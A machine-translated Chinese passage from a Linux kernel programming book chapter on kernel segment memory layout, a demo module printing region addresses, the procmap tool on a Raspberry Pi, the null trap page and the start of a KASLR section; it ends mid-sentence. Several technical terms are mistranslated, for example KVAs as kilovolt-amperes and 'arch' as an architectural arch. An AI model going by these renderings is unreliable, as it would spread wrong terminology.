-内核段的内存布局非常依赖于内存。然而,所有的架构都有一些共同之处。下图显示了用户视觉模拟和内核段(水平平铺格式),如在 x86_32 上看到的 3:1 虚拟机分割: - -![](img/ef5b8d7a-8bd8-4467-855c-0314c4ce0087.png) - -Figure 7.10 – User and kernel VASes on an x86_32 with a 3:1 VM split with focus on the lowmem region - -让我们逐个检查每个区域: - -* **用户模式 VAS** :这是用户 VAS;我们已经在前一章以及本章前面的章节中详细介绍了它;在这个特殊的例子中,需要 3 GB 的 VAS(从`0x0`到`0xbfff ffff`的 UVAs)。 -* 接下来的都属于内核 VAS 或者内核段;在这个特殊的例子中,需要 1 GB 的 VAS(从`0xc000 0000`到`0xffff ffff`的千伏安);现在让我们检查一下它的各个部分。 -* **低内存区域**:这是平台(系统)内存直接映射到内核的地方。(我们将在*直接映射内存和地址转换*部分*中更详细地讨论这个关键主题。*如果觉得有帮助,可以先看那一节,然后再回到这里)。先跳过一点,让我们理解平台内存映射的内核段中的基本位置是由一个名为`PAGE_OFFSET`的内核宏指定的。这个宏的精确值非常依赖于拱门;我们将把这个讨论留到后面的部分。现在,我们请你们相信,在虚拟机比例为 3:1 的 IA-32 上,`PAGE_OFFSET`的值是`0xc000 0000`。 - -内核内存区域的长度或大小等于系统的内存量。(嗯,至少内核看到的内存量;例如,启用 kdump 工具会让操作系统提前预留一些内存)。组成该区域的虚拟地址被称为**内核逻辑地址**,因为它们与它们的物理对应物有固定的偏移。核心内核和设备驱动程序可以分配(物理上连续!)通过各种 API 从这个区域获得的内存(我们将在下面的两章中详细介绍这些 API)。内核静态文本(代码)、数据和 BSS(未初始化数据)内存也驻留在这个 lowmem 区域中。 - -* **内核虚拟区域**:这是一个完全虚拟的内核虚拟空间区域。核心内核和/或设备驱动程序代码可以使用`vmalloc()`(和朋友)应用编程接口从该区域分配几乎连续的内存。同样,我们将在[第 8 章](08.html)、*模块作者内核内存分配第 1 部分*和[第 9 章](09.html)、*模块作者内核内存分配第 2 部分*中对此进行详细介绍。这也是所谓的`ioremap`空间。 - -* **内核模块空间**:为**可加载内核模块** ( **LKMs** )的静态文本和数据占用的内存留出一个内核 VAS 区域。当您执行`insmod(8)`时,产生的`[f]init_module(2)`系统调用的底层内核代码从该区域分配内存(通常通过`vmalloc()`应用编程接口),并在那里加载内核模块的(静态)代码和数据。 - -前面的图(图 7.10)故意被简化,甚至有点模糊,因为确切的内核虚拟内存布局非常依赖于内存。我们暂时不打算画详细的图表。相反,为了使这个讨论不那么迂腐,更实用和有用,我们将在接下来的部分中介绍一个内核模块,它查询并打印关于内核段布局的相关信息。只有到那时,一旦我们有了特定架构的内核段的不同区域的实际值,我们才会给出一个详细的图表来描述这一点。 - -Pedantically (as can be seen in Figure 7.10), the addresses belonging to the lowmem region are termed kernel logical addresses (they're at a fixed offset from their physical counterparts), whereas the addresses for the remainder of the kernel segment are termed KVAs. Though this distinction is made here, please realize that, for all practical purposes, it's a rather pedantic one: we will often simply refer to all addresses within the kernel segment as KVAs. - -在此之前,还有其他几条信息需要介绍。让我们从另一个特性开始,这主要是由 32 位架构的限制带来的:所谓的内核段的高内存区域。 - -## 32 位系统上的高内存 - -关于我们之前简单讨论过的内核 lowmem 区域,一个有趣的观察随之而来。在 32 位系统上,比如说 3:1 (GB)虚拟机分割(如图 7.10 所示),一个具有(比如说)512 MB 内存的系统将从`PAGE_OFFSET` (3 GB 或 KVA `0xc000 0000`)开始将其 512 MB 内存直接映射到内核中。这是很清楚的。 - -但是想想看:如果系统有更多的内存,比如 2 GB,会发生什么?很明显,我们不能直接将整个内存映射到低内存区域。它就是装不下(因为,在这个例子中,整个可用的内核 VAS 只是一个千兆字节,RAM 是 2gb)!因此,在 32 位 Linux 操作系统上,一定量的内存(通常是 IA-32 上的 768 MB)被允许直接映射,因此属于低内存区域。剩余的内存是*间接映射*到另一个名为`ZONE_HIGHMEM`的内存区域(我们认为它是高内存区域或*区域*,而不是低内存;关于内存区域的更多信息,请参见后面的*区域*。更正确地说,由于内核现在发现不可能一次直接映射所有物理内存,它建立了一个(虚拟)区域,可以在其中建立和使用该内存的临时虚拟映射。这就是所谓的高记忆区域。 - -Don't get confused by the phrase "high memory"; one, it's not necessarily placed "high" in the kernel segment, and two, this is not what the `high_memory` global variable represents – it (`high_memory`) represents the upper bound of the kernel's lowmem region. More on this follows in a later section, *Macros and variables describing the kernel segment layout*. - -然而,如今(尤其是随着 32 位系统越来越少被使用),这些担忧在 64 位 Linux 上完全消失了。想想看:在 64 位 Linux 上,内核段的大小高达 128 TB(!)在 x86_64 上。现有的任何一个系统都没有这么大的内存。因此,所有的平台内存确实可以(很容易地)直接映射到内核部分,并且不再需要`ZONE_HIGHMEM`(或等效物)。 - -同样,内核文档提供了这个“高内存”区域的详细信息。感兴趣的话就来看看:[https://www.kernel.org/doc/Documentation/vm/highmem.txt](https://www.kernel.org/doc/Documentation/vm/highmem.txt)。 - -好了,现在让我们着手处理我们一直在等待做的事情——编写一个内核模块(一个 LKM)来深入研究内核部分的一些细节。 - -## 编写内核模块来显示关于内核段的信息 - -正如我们所知,内核部分由不同的区域组成。有些是所有体系结构共有的(与 arch 无关):它们包括 lowmem 区域(其中包含未压缩的内核映像—它的代码、数据、BSS)、内核模块区域、`vmalloc` / `ioremap`区域等等。 - -内核段中这些区域所在的精确位置,以及哪些区域可能存在,非常依赖于内存。为了帮助理解和确定任何给定的系统,让我们开发一个内核模块,它查询和打印关于内核段的各种细节(事实上,如果被要求,它也打印一些有用的用户空间内存细节)。 - -### 通过 dmesg 查看树莓皮上的仁段 - -在进入并分析这样一个内核模块的代码之前,事实是,与我们在这里尝试的非常相似的事情——打印内核段/VAS 中各种有趣区域的位置和大小——已经在流行的树莓皮(ARM) Linux 内核的早期引导中执行了。在下面的代码片段中,我们显示了树莓 Pi 3 B+(运行股票(默认)32 位树莓 Pi 操作系统)启动时内核日志的相关输出: - -```sh -rpi $ uname -r 4.19.97-v7+ rpi $ journalctl -b -k -[...] -Apr 02 14:32:48 raspberrypi kernel: Virtual kernel memory layout: - vector : 0xffff0000 - 0xffff1000 ( 4 kB) - fixmap : 0xffc00000 - 0xfff00000 (3072 kB) - vmalloc : 0xbb800000 - 0xff800000 (1088 MB) - lowmem : 0x80000000 - 0xbb400000 ( 948 MB) - modules : 0x7f000000 - 0x80000000 ( 16 MB) - .text : 0x(ptrval) - 0x(ptrval) (9184 kB) - .init : 0x(ptrval) - 0x(ptrval) (1024 kB) - .data : 0x(ptrval) - 0x(ptrval) ( 654 kB) - .bss : 0x(ptrval) - 0x(ptrval) ( 823 kB) -[...] -``` - -It's important to note that these preceding prints are very specific to the OS and device. The default Raspberry Pi 32-bit OS prints this information out, while others may not: **YMMV** (**Your Mileage May Vary**!). For example, with the standard 5.4 kernel for Raspberry Pi that I built and ran on the device, these informative prints weren't present. On recent kernels (as seen in the preceding logs on the 4.19.97-v7+ Raspberry Pi OS kernel), for security reasons – that of preventing kernel information leakage – many early `printk` functions will not display a "real" kernel address (pointer) value; you might simply see it prints the `0x(ptrval)` string. - -This **`0x(ptrval)`** output implies that the kernel is deliberately not showing even a hashed printk (recall the `%pK` format specifier from [Chapter 5](05.html), *Writing Your First Kernel Module – LKMs Part 2*) as the system entropy is not yet high enough. If you insist on seeing a (weakly) hashed printk, you can always pass the `debug_boot_weak_hash` kernel parameter at boot (look up details on kernel boot parameters here: [https://www.kernel.org/doc/html/latest/admin-guide/kernel-parameters.html](https://www.kernel.org/doc/html/latest/admin-guide/kernel-parameters.html)). - -有趣的是,(如前一个信息框所述),打印这个`Virtual kernel memory layout :` 信息的代码是非常具体的树莓皮内核补丁!可以在树莓 Pi 内核源码树这里找到:[https://github . com/raspberrpi/Linux/blob/rpi-5.4 . y/arch/arm/mm/init . c](https://github.com/raspberrypi/linux/blob/rpi-5.4.y/arch/arm/mm/init.c)。 - -现在,为了让您查询和打印类似的信息,您必须首先熟悉一些关键的内核宏和全局。;让我们在下一节中这样做。 - -### 描述内核段布局的宏和变量 - -要编写一个显示相关内核段信息的内核模块,我们需要知道如何确切地询问内核这些细节。在本节中,我们将简要描述内核中代表内核段内存的几个关键宏和变量(在大多数架构上,按照 KVA 的降序排列): - -* **向量表**是一种常见的操作系统数据结构——它是一个函数指针数组(也称为切换或跳转表)。它是特定于 arch 的:ARM-32 使用它来初始化其向量,以便当处理器异常或模式改变(如中断、系统调用、页面故障、MMU 中止等)发生时,处理器知道运行什么代码: - -| **宏或变量** | **解读** | -| `VECTORS_BASE` | 通常仅 ARM-32;跨越 1 页的核向量表的开始 KVA | - -* **固定映射区域**是一系列编译时特殊或保留的虚拟地址;它们在引导时被用来将必需的内核元素修复到内核段中,这些内核元素必须有可用的内存。典型的例子包括初始内核页表的设置,早期的`ioremap`和`vmalloc`区域等等。同样,它是一个依赖于拱形的区域,因此在不同的中央处理器上有不同的用法: - -| **宏或变量** | **解读** | -| `FIXADDR_START` | 跨越`FIXADDR_SIZE`字节的内核固定映射区域的开始 KVA | - -* **内核模块**在内核段的特定范围内被分配内存——用于其静态文本和数据。内核模块区域的精确位置因架构而异。在 ARM 32 位系统上,事实上,它就放在用户 VAS 的正上方;而在 64 位上,它通常在内核部分更高: - -| **内核模块(LKMs)区域** | **从这里分配的内存,用于静态代码 LKMs 的数据** | -| **`MODULES_VADDR`** | 启动内核模块区域的 KVA | -| `MODULES_END` | 内核模块区域的结束 KVA;尺寸为`MODULES_END - MODULES_VADDR` | - -* **KASAN** *:* 现代内核(x86_64 从 4.0 开始,ARM64 从 4.4 开始)采用强大的机制来检测和报告内存问题。它基于用户空间**地址杀毒软件***(****)*代码库,因此被称为**内核地址杀毒软件** ( **KASAN** ) *。*它的能力在于(通过编译时工具)巧妙地检测内存问题,如**空闲后使用**(**【UAF】**)和**越界** ( **OOB** )访问(包括缓冲区溢出/不足流)。然而,它只在 64 位 Linux 上工作*,并且需要相当大的**影子内存区域**(其大小是内核 VAS 的八分之一,如果启用的话,我们会显示其范围)。这是一个内核配置特性(`CONFIG_KASAN`)并且通常只为调试目的而启用(但是在调试和测试期间保持启用真的很关键!):*** - - **| **KASAN 阴影存储区(仅 64 位)** | **【可选】(仅适用于 64 位,且仅在定义了 CONFIG_KASAN 的情况下;详见如下)** | -| `KASAN_SHADOW_START` | 开赛地区的 KVA | -| `KASAN_SHADOW_END` | 结束卡桑地区的 KASAN 尺寸为`KASAN_SHADOW_END - KASAN_SHADOW_START` | - -* **vmalloc 区域**是为`vmalloc()`(和朋友)API 分配内存的空间;我们将在接下来的两章中详细介绍各种内存分配 API: - -| **vmalloc 区域** | **用于通过 vmalloc()和好友分配的内存** | -| **`VMALLOC_START`** | 启动`vmalloc`区域的 KVA | -| `VMALLOC_END` | 结束`vmalloc`区域的 KVA;尺寸为`VMALLOC_END - VMALLOC_START` | - -* ****低内存区域**——在`1:1 :: physical page frame:kernel page`基础上将内存直接映射到内核段——实际上是 Linux 内核映射和管理(通常)所有内存的区域。此外,它通常在内核中被设置为`ZONE_NORMAL`(稍后我们也会介绍区域):** - - **| **洛门区域** | **直接映射存储区** | -| `PAGE_OFFSET` | 从洛梅姆地区的 KVA 开始;也代表某些架构上内核段的开始,并且(通常)是 32 位上的 VM 拆分值。 | -| `high_memory` | 低内存区域的末端 KVA,直接映射内存的上限;实际上,这个值减去`PAGE_OFFSET`就是系统上的(平台)RAM 的数量(小心,这不一定是所有拱门上的情况);不要与`ZONE_HIGHMEM`混淆。 | - -* ****高地区域**或地带是可选区域。它可能存在于一些 32 位系统上(通常,内存量大于内核段本身的大小)。在这种情况下,它通常被设置为`ZONE_HIGHMEM`(稍后我们将讨论区域。此外,您可以在前面题为*32 位系统上的高内存*一节中查阅关于这个高内存区域的更多信息:** - - **| **高内存区域(仅适用于 32 位)** | **【可选】一些 32 位系统上可能存在 HIGHMEM】** | -| `PKMAP_BASE` | 启动高内存区域的 KVA,一直运行到`LAST_PKMAP`页;表示所谓的高内存页面的内核映射(较旧,仅适用于 32 位) | - -* (未压缩)**内核映像**本身——其代码、`init`和数据区域——是私有符号,因此对内核模块不可用;我们不打算打印它们: - -| **内核(静态)图像** | **未压缩内核镜像的内容(见下图);未导出,因此无法用于模块** | -| `_text, _etext` | 内核文本(代码)区域的开始和结束千伏安(分别) | -| `__init_begin, __init_end` | 内核`init`部分区域的开始和结束千伏安(分别) | -| `_sdata, _edata` | 内核静态数据区的开始和结束千伏安(分别) | -| `__bss_start, __bss_stop` | 内核 BSS(未初始化数据)区域的开始和结束 KVAs(分别) | - -* **用户 VAS** :最后一项,当然是流程用户 VAS。它位于内核段之下(按虚拟地址降序排序),大小为`TASK_SIZE`字节。本章前面已经详细讨论过: - -| **用户去** | **用户虚拟地址空间(VAS)** | -| (用户模式 VAS 如下)`TASK_SIZE` | (之前通过`procfs`或我们的`procmap`实用程序脚本详细检查过);内核宏`TASK_SIZE`代表用户 VAS 的大小(字节)。 | - -嗯,就是这样;我们已经看到了几个内核宏和变量,它们实际上描述了内核 VAS。 - -转到我们内核模块的代码,您很快就会看到它的`init`方法调用了两个函数(这很重要): - -* `show_kernelseg_info()`,打印相关内核段详细信息 -* `show_userspace_info()`,打印相关的用户 VAS 详细信息(可选,通过内核参数决定) - -我们将从描述内核段函数并查看其输出开始。同样,Makefile 的设置方式是,它链接到我们的内核库代码的对象文件中,`klib_llkd.c`*,并生成一个名为`show_kernel_seg.ko`的内核模块对象。* - - *### 尝试一下——查看内核部分的详细信息 - -为了清楚起见,我们将在这一部分只显示源代码的相关部分。一定要克隆并使用本书 GitHub 存储库中的完整代码。还有,回想一下前面提到的`procmap`效用;它有一个内核组件,一个 LKM,它确实做了和这个类似的工作——让内核级信息对用户空间可用。随着它变得更加复杂,我们在这里不再深入研究它的代码;看到下面演示内核模块`show_kernel_seg`的代码就足够了: - -```sh -// ch7/show_kernel_seg/kernel_seg.c -[...] -static void show_kernelseg_info(void) -{ - pr_info("\nSome Kernel Details [by decreasing address]\n" - "+-------------------------------------------------------------+\n"); -#ifdef CONFIG_ARM - /* On ARM, the definition of VECTORS_BASE turns up only in kernels >= 4.11 */ -#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 11, 0) - pr_info("|vector table: " - " %px - %px | [%4ld KB]\n", - SHOW_DELTA_K(VECTORS_BASE, VECTORS_BASE + PAGE_SIZE)); -#endif -#endif -``` - -前面的代码片段显示了 ARM 向量表的范围。当然是有条件的。输出只出现在 ARM-32 上,因此出现了`#ifdef CONFIG_ARM`预处理器指令。(此外,我们使用`%px` printk 格式说明符确保了代码的可移植性。) - -本演示内核模块中使用的`SHOW_DELTA_*()`宏在我们的`convenient.h`头中定义,是帮助器,使我们能够轻松显示传递给它的低值和高值,计算传递的两个量之间的差值(差值),并显示出来;以下是相关代码: - -```sh -// convenient.h -[...] -/* SHOW_DELTA_*(low, hi) : - * Show the low val, high val and the delta (hi-low) in either bytes/KB/MB/GB, as required. - * Inspired from raspberry pi kernel src: arch/arm/mm/init.c:MLM() - */ -#define SHOW_DELTA_b(low, hi) (low), (hi), ((hi) - (low)) -#define SHOW_DELTA_K(low, hi) (low), (hi), (((hi) - (low)) >> 10) -#define SHOW_DELTA_M(low, hi) (low), (hi), (((hi) - (low)) >> 20) -#define SHOW_DELTA_G(low, hi) (low), (hi), (((hi) - (low)) >> 30) -#define SHOW_DELTA_MG(low, hi) (low), (hi), (((hi) - (low)) >> 20), (((hi) - (low)) >> 30) -``` - -在下面的代码中,我们展示了发出描述以下区域范围的`printk`函数的代码片段: - -* 内核模块区域 -* (可选)KASAN 地区 -* vmalloc 地区 -* 最低和可能最高的区域 - -关于内核模块区域,正如在下面的源代码中的详细注释中所解释的,我们尝试按照 KVAs 降序来保持顺序: - -```sh -// ch7/show_kernel_seg/kernel_seg.c -[...] -/* kernel module region - * For the modules region, it's high in the kernel segment on typical 64- - * bit systems, but the other way around on many 32-bit systems - * (particularly ARM-32); so we rearrange the order in which it's shown - * depending on the arch, thus trying to maintain a 'by descending address' ordering. */ -#if (BITS_PER_LONG == 64) - pr_info("|module region: " - " %px - %px | [%4ld MB]\n", - SHOW_DELTA_M(MODULES_VADDR, MODULES_END)); -#endif - -#ifdef CONFIG_KASAN // KASAN region: Kernel Address SANitizer - pr_info("|KASAN shadow: " - " %px - %px | [%2ld GB]\n", - SHOW_DELTA_G(KASAN_SHADOW_START, KASAN_SHADOW_END)); -#endif - - /* vmalloc region */ - pr_info("|vmalloc region: " - " %px - %px | [%4ld MB = %2ld GB]\n", - SHOW_DELTA_MG(VMALLOC_START, VMALLOC_END)); - - /* lowmem region */ - pr_info("|lowmem region: " - " %px - %px | [%4ld MB = %2ld GB]\n" -#if (BITS_PER_LONG == 32) - "| (above:PAGE_OFFSET - highmem) |\n", -#else - "| (above:PAGE_OFFSET - highmem) |\n", -#endif - SHOW_DELTA_MG((unsigned long)PAGE_OFFSET, (unsigned long)high_memory)); - - /* (possible) highmem region; may be present on some 32-bit systems */ -#ifdef CONFIG_HIGHMEM - pr_info("|HIGHMEM region: " - " %px - %px | [%4ld MB]\n", - SHOW_DELTA_M(PKMAP_BASE, (PKMAP_BASE) + (LAST_PKMAP * PAGE_SIZE))); -#endif -[ ... ] -#if (BITS_PER_LONG == 32) /* modules region: see the comment above reg this */ - pr_info("|module region: " - " %px - %px | [%4ld MB]\n", - SHOW_DELTA_M(MODULES_VADDR, MODULES_END)); -#endif - pr_info(ELLPS); -} -``` - -让我们在 ARM-32 树莓 Pi 3 B+上构建并插入我们的 LKM;下面的截图显示了它的设置,然后是内核日志: - -![](img/0ceba7c6-eb91-4774-814d-c902e8de24c9.png) - -Figure 7.11 – Output from the show_kernel_seg.ko LKM on a Raspberry Pi 3B+ running stock Raspberry Pi 32-bit Linux - -正如预期的那样,我们收到的关于内核段的输出与引导时树莓皮内核本身打印的内容完全匹配(您可以参考*通过 dmesg 查看树莓皮上的内核段*部分来验证这一点)。从`PAGE_OFFSET`(图 7.11 中的 KVA `0x8000 0000`)的值可以看出,我们的树莓皮内核的虚拟机分割配置为 2:2 (GB)(因为十六进制值`0x8000 0000`的十进制基数为 2 GB。有趣的是,最近的树莓 Pi 4 型设备上的默认树莓 Pi 32 位操作系统配置了 3:1 (GB)虚拟机拆分)。 - -Technically, on ARM-32 systems, at least, user space is slightly under 2 GB (*2 GB – 16 MB = 2,032 MB*) as this 16 MB is taken as the *kernel module region* just below `PAGE_OFFSET`; indeed, exactly this can be seen in Figure 7.11 (the kernel module region here spans from `0x7f00 0000` to `0x8000 0000` for 16 MB). Also, as you'll soon see, the value of the `TASK_SIZE` macro – the size of the user VAS – reflects this fact as well. - -我们在下图中展示了大部分信息: - -![](img/ff00619a-d778-4ecc-a5b6-4b983887ec67.png) - -Figure 7.12 – The complete VAS of a process on ARM-32 (Raspberry Pi 3B+) with a 2:2 GB VM split Do note that due to variations in differing models, the amount of usable RAM, or even the device tree, the layout shown in Figure 7.12 may not precisely match that on the Raspberry Pi you have. - -好了,现在你知道如何在内核模块中打印相关的内核段宏和变量,帮助你理解任何 Linux 系统上的内核 VM 布局!在下一节中,我们将尝试“查看”(可视化)内核 VAS,这次是通过我们的`procmap`实用程序。 - -### 通过 procmap 实现内核 VAS - -好吧,这很有趣:上图中看到的内存映射布局的细节视图正是我们前面提到的`procmap`实用程序所提供的!如前所述,现在让我们看看运行`procmap`时内核 VAS 的截图(之前我们展示了用户 VAS 的截图)。 - -为了与当前的讨论保持同步,我们现在将显示`procmap`的截图,该截图在完全相同的树莓皮 3B+系统上提供了内核 VAS 的“可视化”视图(我们可以指定`--only-kernel`开关以仅显示内核 VAS;不过,我们这里不这么做)。由于我们必须在某个流程上运行`procmap`,我们任意选择*系统*PID`1`;我们也使用`--verbose`选项开关。然而,它似乎失败了: - -![](img/f0afd519-4c3e-4af2-8529-b2af57045fe6.png) - -Figure 7.13 – Truncated screenshot showing the procmap kernel module build failing - -为什么没有构建内核模块(那是`procmap`项目的一部分)?我在项目的`README.md`文件([https://github . com/万凯/proc map/blob/master/readme . MD # proc map](https://github.com/kaiwan/procmap/blob/master/README.md#procmap))中提到了这一点: - -```sh -[...]to build a kernel module on the target system, you will require it to have a kernel development environment setup; this boils down to having the compiler, make and - key here - the 'kernel headers' package installed for the kernel version it's currently running upon. [...] -``` - -我们的*定制* 5.4 内核(树莓皮)的内核头包不可用,因此它失败了。虽然您可以将整个 5.4 树莓皮内核源代码树复制到设备上并设置`/lib/module//build`符号链接,但这被认为不是正确的方法。那么,什么是?*交叉编译*`procmap`内核模块,当然是来自你的主机!在[第 3 章](03.html)、*从源代码构建 5.x Linux 内核-第 2 部分*的*树莓皮内核构建*部分,我们已经介绍了树莓皮内核本身交叉编译的细节;当然,它也适用于交叉编译内核模块。 - -I want to stress this point: the `procmap` kernel module build on the Raspberry Pi only fails due to the lack of a Raspberry Pi-supplied kernel headers package when running a custom kernel. If you are happy to work with the stock (default) Raspberry Pi kernel (earlier called Raspbian OS), the kernel headers package is certainly installable (or already installed) and everything will work. Similarly, on your typical x86_64 Linux distribution, the `procmap.ko` kernel module gets cleanly built and inserted at runtime. Do read the `procmap` project's `README.md` file in detail; within it, the section labeled *IMPORTANT: Running procmap on systems other than x86_64* details how to cross-compile the `procmap` kernel module. - -一旦你成功地在你的主机系统上交叉编译了`procmap`内核模块,复制`procmap.ko`内核模块(通过`scp(1)`,也许)到设备,并把它放在`procmap/procmap_kernel`目录下;现在你准备好出发了! - -这里是复制的内核模块(在树莓皮上): - -```sh -cd <...>/procmap/procmap_kernel -ls -l procmap.ko --rw-r--r-- 1 pi pi 7909 Jul 31 07:45 procmap.ko -``` - -(也可以在上面运行`modinfo(8)`实用程序,验证它是为 ARM 构建的。) - -有了这些,让我们再次运行`procmap`来显示内核 VAS 的详细信息: - -![](img/a5e97d6b-a3bd-45e6-836a-495876e137c5.png) - -Figure 7.14 – Truncated screenshot showing the procmap kernel module successfully inserted and various system details - -它现在确实工作了!正如我们为`procmap`指定的`verbose`选项,您可以看到它的详细进度,以及——非常有用的——各种感兴趣的内核变量/宏及其当前值。 - -好了,让我们继续,看看我们真正追求的是什么——树莓皮 3B+上内核视觉模拟系统的“视觉地图”,由 KVA 按降序排列;下面的截图捕捉到了`procmap`的这个输出: - -![](img/042df779-2a7a-471a-abec-17ba87891b39.png) - -Figure 7.15 – Partial screenshot of our procmap utility's output showing the complete kernel VAS (Raspberry Pi 3B+ with 32-bit Linux) - -显示完整的内核 VAS–从`end_kva`(值`0xffff ffff`)到内核的开始,`start_kva` ( `0x7f00 0000`,如您所见,这是内核模块区域)。请注意(绿色)某些关键地址右侧的标签,表示它们是什么!为了完整起见,我们还在前面的截图中包含了内核-用户边界(以及内核部分下面的用户 VAS 的上部,就像我们一直说的那样!).由于前面的输出是在 32 位系统上,用户视觉模拟系统会紧跟在内核段之后。但是在 64 位系统上,有一个(巨大的!)内核段开始和用户 VAS 顶部之间的“非规范”稀疏区域。在 x86_64 上(正如我们已经讨论过的),它跨越了绝大多数的 VAS: 16,383.75 petabytes(总 VAS 为 16,384 petabytes)! - -我将把它作为一个练习留给您来运行这个`procmap`项目,并仔细研究输出(在您的 x86_64 或任何盒子或虚拟机上)。它在 3:1 虚拟机分割的 BeagleBone Black 嵌入式板上也能很好地工作,显示出预期的细节。仅供参考,这是一项任务。 - -I also provide a solution in the form of three (large, stitched-together) screenshots of `procmap`'s output on a native x86_64 system, a BeagleBone Black (AArch32) board, and the Raspberry Pi running a 64-bit OS (AArch64) here: `solutions_to_assgn/ch7`. Studying the code of `procmap`*,* and, especially relevant here, its kernel module component, will certainly help. It's open source, after all! - -让我们通过浏览我们早期的演示内核模块–`ch7/show_kernel_seg`–提供的用户细分视图来结束这一部分。 - -### 尝试一下——用户细分市场 - -现在,让我们回到我们的`ch7/show_kernel_seg` LKM 演示程序。我们提供了一个名为`show_uservas`的内核模块参数(默认为`0`值);当设置为`1`时,也会显示一些关于过程上下文的*用户空间*的细节。下面是模块参数的定义: - -```sh -static int show_uservas; -module_param(show_uservas, int, 0660); -MODULE_PARM_DESC(show_uservas, -"Show some user space VAS details; 0 = no (default), 1 = show"); -``` - -对,在同一个设备(我们的树莓 Pi 3 B+)上,让我们再次运行我们的`show_kernel_seg`内核模块,这次也请求它显示用户空间细节(通过前面提到的参数)。下面的截图显示了完整的输出: - -![](img/4be8fce6-3eee-40d6-ab91-97dcecad4bc4.png) - -Figure 7.16 – Screenshot of our show_kernel_seg.ko LKM's output showing both kernel and user VAS details when running on a Raspberry Pi 3B+ with the stock Raspberry Pi 32-bit Linux OS - -这很有用;我们现在可以在一个镜头中看到这个过程(或多或少)完整的内存映射——既有所谓的“上(规范)半”内核空间,也有“下(规范)半”用户空间(是的,没错,尽管`procmap`项目更好、更详细地展示了这一点)。 - -我将把它作为一个练习留给您来运行这个内核模块,并仔细研究您的 x86_64 上的输出,或者任何一个盒子或虚拟机。一定要仔细检查代码。我们通过从`current`中取消引用`mm_struct`结构(名为`mm`的任务结构成员),打印了您在前面截图中看到的用户空间详细信息,例如段的开始和结束地址。回想一下,`mm`是流程的用户映射的抽象。下面是一小段代码: - -```sh -// ch7/show_kernel_seg/kernel_seg.c -[ ... ] -static void show_userspace_info(void) -{ - pr_info ( - "+------------ Above is kernel-seg; below, user VAS ----------+\n" - ELLPS - "|Process environment " - " %px - %px | [ %4zd bytes]\n" - "| arguments " - " %px - %px | [ %4zd bytes]\n" - "| stack start %px\n" - [...], - SHOW_DELTA_b(current->mm->env_start, current->mm->env_end), - SHOW_DELTA_b(current->mm->arg_start, current->mm->arg_end), - current->mm->start_stack, - [...] -``` - -还记得用户 VAS 最开始的所谓空陷阱页面吗?(同样,`procmap`的输出–参见*图 7.9*–显示了零陷页面。)让我们在下一节中看看它的用途。 - -#### 空陷阱页面 - -你注意到前面的图(图 7.9)和图 7.12 中最左边的图(尽管很小!),用户空间最开始的单个页面,命名为**空陷阱**页面?这是什么?很简单:虚拟页面`0`没有权限(在硬件 MMU/PTE 级别)。因此,对该页面的任何访问,无论是`r`、`w`还是`x`(读/写/执行),都将导致 MMU 引发所谓的故障或异常。这将使处理器跳转到操作系统处理程序例程(故障处理程序)。它运行,杀死试图访问没有权限的内存区域的罪犯! - -确实很有意思:前面提到的 OS 处理程序在进程上下文中运行,猜猜`current` 是什么:为什么,是进程(或者线程)发起了这个糟糕的`NULL`指针查找!在故障处理程序代码中,`SIGSEGV`信号被传送到故障处理程序(`current`,导致其死亡(通过 segfault)。简而言之,这就是众所周知的`NULL`指针取消引用错误是如何被操作系统捕获的。 - -### 查看关于内存布局的内核文档 - -回到内核段;显然,对于 64 位 VAS,内核段*比 32 位上的*大得多。正如我们之前看到的,x86_64 上通常为 128 TB。再次研究之前显示的虚拟机拆分表(图 7.4 中的*虚拟机在 64 位 Linux 系统上的拆分*);在那里,第四列是不同体系结构的虚拟机拆分。您可以看到,在 64 位英特尔/AMD 和 AArch64 (ARM64)上,数字比 32 位同类产品大得多。有关特定于 arch 的详细信息,请参阅此处关于进程虚拟内存布局的“官方”内核文档: - -| **架构** | **内核源代码树中的文档位置** | -| ARM-32 | `Documentation/arm/memory.txt`。 | -| aarh64 足球俱乐部 | `Documentation/arm64/memory.txt`。 | -| x86_64 | `Documentation/x86/x86_64/mm.txt` 注:本文档的可读性最近(截至撰写本文时)因 Linux 4.20 的 commit`32b8976`:[https://github . com/Torvalds/Linux/commit/32b 89760 ddf 4477 da 436 c 272 be 2 ab c 016 e 169031](https://github.com/torvalds/linux/commit/32b89760ddf4477da436c272be2abc016e169031)而大大提高。推荐你浏览一下这个文件:[https://www.kernel.org/doc/Documentation/x86/x86_64/mm.txt](https://www.kernel.org/doc/Documentation/x86/x86_64/mm.txt)。 | - -At the risk of repetition, I urge you to try out this `show_kernel_seg` kernel module – and, even better, the `procmap` project ([https://github.com/kaiwan/procmap](https://github.com/kaiwan/procmap)) – on different Linux systems and study the output. You can then literally see the "memory map" – the complete process VAS – of any given process, which includes the kernel segment! This understanding is critical when working with and/or debugging issues at the system layer. - -同样,冒着夸大其词的风险,前面两个部分——涵盖了对*用户和内核花瓶*的详细检查——确实非常重要。一定要花时间复习它们,并完成示例代码和作业。干得好! - -继续我们的 Linux 内核内存管理之旅,现在让我们来看看另一个有趣的话题——通过内存布局随机化的[K]ASLR 保护功能。继续读! - -# 随机存储布局–KASLR - -在信息安全领域,众所周知的事实是,利用 **proc 文件系统** ( **procfs** )和各种强大的工具,一个恶意用户,事先知道各种函数的精确位置(虚拟地址)和/或一个进程的 VAS 的全局,可以设计一个攻击来利用并最终危害给定的系统。因此,为了安全起见,为了使攻击者不可能(或至少很难)依赖“已知的”虚拟地址,用户空间以及内核空间支持 **ASLR(地址空间布局随机化)**和 **KASLR(内核 ASLR)** 技术(通常发音为*Ass-**ler*/*Kass-ler*)。 - -这里的关键词是*随机化:*该特性,当被启用时,*根据绝对数字改变进程(和内核)存储器布局的部分的位置*,因为它*将存储器的部分*从给定的基址偏移一个随机的(页面对齐的)量。我们到底在说什么“记忆的一部分”?关于用户空间映射(我们将在后面讨论 KASLR),共享库的起始地址(它们的加载地址),基于`mmap(2)`的分配(记住,任何 128 KB 以上的`malloc()`函数(`/calloc/realloc` *)* 变成了基于`mmap`的分配,而不是脱离堆),栈起始,堆,以及 vDSO 页;所有这些都可以在进程运行(启动)时随机化。 - -因此,攻击者不能依赖于,比如说,`glibc`函数(比如`system(3)`)在任何给定的过程中被映射到特定的固定 UVA 不仅如此,每次流程运行时,位置都会发生变化!在 ASLR 之前,以及在不支持或关闭 ASLR 的系统上,对于给定的架构和软件版本,可以预先确定符号的位置(procfs plus 实用程序,如`objdump`、`readelf`、`nm`等,使这变得非常容易)。 - -关键是要认识到,ASLR 